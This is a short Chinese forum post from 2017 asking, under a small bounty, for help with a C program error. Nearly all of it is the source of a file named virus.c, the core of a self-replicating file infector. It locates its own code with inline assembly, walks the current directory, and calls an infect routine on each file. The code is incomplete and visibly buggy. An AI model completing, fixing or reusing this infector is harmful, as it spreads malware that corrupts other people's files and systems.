-
-
未解决
[悬赏]c程序错误
2.00雪花
-
发表于:
2017-4-11 17:44
2790
-
virus.c:
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<virus.h>
int SECTION(.text.start) start1(void)
{
unsigned int addr, size;
int h, dir;
char buf[DIRENT_SIZE];
asm volatile (" call 1f; 1: pop %0; mov $(1b - start), %0; mov $(end - start), %1":"=r"(addr),"=r"(size));
dir = '.';
h = open("(char*)&dir", O_RDWR);
if (h < 0)
return 0;
while (readdir(h, buf) == 1)
if (infect(buf + DIRENT_DNAME, addr, size) == 1)
break;
close(h);
return 1;
}
void SECTION(.text.end) end1(void)
{}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)